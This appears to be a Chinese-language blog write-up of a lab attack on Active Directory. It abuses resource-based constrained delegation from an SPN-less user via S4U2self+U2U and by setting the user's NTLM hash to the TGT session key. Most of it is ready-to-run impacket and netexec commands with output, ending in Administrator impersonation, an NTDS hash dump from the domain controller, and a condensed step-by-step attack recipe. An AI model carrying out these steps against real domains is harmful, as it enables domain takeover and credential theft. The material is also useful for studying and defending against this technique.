[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

这段报错意味着请求过程在S4U2self阶段报错，原因在James Forshaw的文章写的很清楚，kdc不清楚该使用何加密密钥，因为我们请求的用户并不具备spn，而一般的机器用户在创建的时候就会创建一系列自身的服务，也就是说自带spn，这里是一般我们只会使用机器账户进行委派的关键

当我们请求S4U2Self的时候S4U2Self需要KDC能够找到目标主体的长期密钥（long-term key）来生成票据。这个长期密钥是每个域内账户都拥有的RC4-HMAC或AES加密的一个密钥，而spn的作用本质上是指向某个账户，所以本质上的流程是这样

机器用户请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据我们提供的spn的绑定找到账户 → 用账户长期密钥加密票据 → 下一步

所以我们的用户如果没有spn，KDC默认情况下是找不到一个可以利用的长期密钥的

绕过S4U2Self

这种情况我们有两种解决方式

为用户添加spn（如果没有上级已经掌握用户对此用户存在通用写入及以上权限的情况下，域用户默认不允许修改自己的spn）
通过U2U方式进行请求，强行指定KDC选择当前用户的长期密钥进行加密票据

U2U（User-to-User）是Kerberos协议的一种扩展，用于在用户之间直接获取服务票据（TGS）而不依赖服务账户的长期密钥。如果服务支持 U2U，Kerberos可以使用目标用的 TGT（或者票据中的 session key）加密请求，直接生成服务票据，而不需要服务账户的明文密码或密钥

当我们启用了u2u，请求流程就会变成如下

域用户利用u2u请求委派 → S4U2Self需要KDC提供一个可用于加密的长期密钥 → KDC依据u2u直接找到目标（可指定，但这里我们一般使用自身） → 用目标账户长期密钥加密票据 → 下一步

impacket包支持u2u的请求方式，让我们利用u2u进行尝试一次

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user:$pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user mrrobot or initial TGT not forwardable

可以看到这里我们使用S4U2self+U2U进行了成功请求，但是在转发的时候被S4U2Proxy报错，报错提示了KDC_ERR_BADOPTION错误这几乎可以肯定是因为 KDC 无法解密 S4U2Proxy 请求中发送的票证。

S4U2Proxy的限制以及绕过

当我们发起S4U2Proxy请求时KDC会执行如下操作，kdc首先需要检查我们提供的S4U2Self服务票据，也就是刚才我们成功过绕过的票据，kdc会尝试解密这个票据来验证其有效性。

kdc校验PAC（Privilege Attribute Certificate）里的签名：

Server Signature：用服务票据的 session key 加 HMAC。
KDC Signature：用 KDC 的主密钥加 HMAC。

这里的session_key是在请求之前利用我们指定长期密钥加密的一串随机密钥，格式为aes或者rc4，解密过程kdc也会需要去寻找提交用户的spn进行解密，当它发现我们没有spn的时候就会退回并尝试使用用户长期密钥，这就导致了失败认证。

听着有点复杂，但是简单能浓缩成两句话：

正常流程：KDC 找到 SPN → 用服务长期密钥解密 PAC → 成功。
普通用户没有 SPN：KDC fallback 用用户长期密钥 → 与 PAC 加密 key 不符 → 失败。

这里的绕过思路就是让用户长期密钥与pac加密key相符，，但是我们没有办法直接修改pac，因为在我们拥有密钥的情况下虽然可以修改Server Signature但是我们并修改不了KDC Signature，它是使用KDC自己的密钥密钥的HMAC。我们不知道此密钥，也就没办法修改，所以我们只能另辟蹊径，尝试让此域用户的长期密钥直接等于session key就可以理论上绕过这个限制

为了获取sessionkey，我们需要以用户身份远程请求tgt并解密查看

┌──(wackymaker㉿kali)-[~/test]
└─$ rm mrrobot.ccache 

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user:$pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in mrrobot.ccache

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2
.............
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

这里可以看到我们利用密码请求了一个tgt，解密后获得的session key为

fb6f9d587e3b8c08a0390e82a3c9fa4d281088835c3bd631712bd99c42246bb2

这个长度明显是用aes加密而成，我们需要将用户的hash直接更改为此session key是很困难的，由于ntlmhash是rc4加密过程，这个就是0xdf文章当中未提到的，我们整套攻击流程显然都需要目标开启rc4认证，但一般域虽然默认开启，却不会默认使用rc4，pha那台靶机是不仅启用，也默认使用了rc4加密，所以才允许用密码请求tgt获取到了rc4加密的session key，这里解决办法也很简单，只需要我们以hash请求即可，以ntlmhash请求tgt就会使kdc默认使用rc4进行加密session key

┌──(wackymaker㉿kali)-[~/test]
└─$ iconv -f ASCII -t UTF-16LE <(printf "mrroboto12") | openssl dgst -md4
MD4(stdin)= c8fa8686516464c51cfc0bdc3e52ef9e

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in mrrobot.ccache

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-describeTicket mrrobot.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : fce9e6a3381a5301dd00d59aaae12af6
[*] User Name                     : mrrobot
[*] User Realm                    : NOVICE.COM
[*] Service Name                  : krbtgt/NOVICE.COM
[*] Service Realm                 : NOVICE.COM
[*] Start Time                    : 23/08/2025 01:33:38 AM
[*] End Time                      : 23/08/2025 11:33:38 AM
[*] RenewTill                     : 24/08/2025 01:33:38 AM
[*] Flags                         : (0x50c10000) forwardable, proxiable, renewable, initial, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : /OnmozgaUwHdANWaquEq9g==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/NOVICE.COM
[*]   Service Realm               : NOVICE.COM
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

可以看到这次session key是rc4格式

fce9e6a3381a5301dd00d59aaae12af6

完全符合了ntlm的格式，所以我们可以将此域用户的ntlm直接修改为session key

┌──(wackymaker㉿kali)-[~/test]
└─$ impacket-changepasswd -newhashes :fce9e6a3381a5301dd00d59aaae12af6 $domain/$user:$pass@DC.novice.com -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of novice.com\mrrobot
[*] Connecting to DCE/RPC as novice.com\mrrobot
[*] Password was changed successfully.
[!] User will need to change their password on next logging because we are using hashes.

注意这一步是自毁式攻击，如果攻击失败，无法获得高权限的情况下，此用户会失效（因为我们改了它的hash，应用于hash认证的手段还是正常的，但是噪音会比较大）

当修改完毕后，我们会发现攻击成功了

┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=mrrobot.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/DC.novice.com $domain/$user -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.novice.com@NOVICE.COM.ccache

票据也是可以利用的

┌──(wackymaker㉿kali)-[~/test]
└─$ KRB5CCNAME=Administrator@cifs_DC.novice.com@NOVICE.COM.ccache netexec smb $ip --use-kcache --ntds --user Administrator
SMB         192.168.174.145 445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:novice.com) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         192.168.174.145 445    DC               [+] novice.com\Administrator from ccache (Pwn3d!)
SMB         192.168.174.145 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.174.145 445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34:::

这就是全部的流程了

攻击导致的结果以及需要的条件

需要域启用rc4
需要用户的密码或者hash，只有票据的情况下无法攻击
使用用户会牺牲，之后可能很难使用密码登录。
噪音比较大，容易被安全审查发现

快速攻击流程

首先确定此用户确实对目标有rbcd（allowtoacl）权限，没有的话利用权限写入一个

impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip

之后利用hash请求域用户tgt（必须利用hash，要不然后续session_key加密不一定是rc4加密，无法攻击，如果是密码，请先转换为hash

#将密码转换为hash
iconv -f ASCII -t UTF-16LE <(printf "$pass") | openssl dgst -md4
#请求tgt
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
#验证tgt是否是rc4加密session_key
impacket-describeTicket $user.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : c6427e4b47c680c7017571327c141b95
...............
#当看到tgt的session_key是ntlm格式而不是aes长段格式。这一步就成功了

请求完毕后，将此改此用户hash等于session_key

impacket-changepasswd -newhashes :c6427e4b47c680c7017571327c141b95 $domain/$user:$pass@$FQDN -dc-ip $ip

修改成功后，就能正常利用域用户进行rbcd

KRB5CCNAME=$user.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/$FQDN $domain/$user -k -no-pass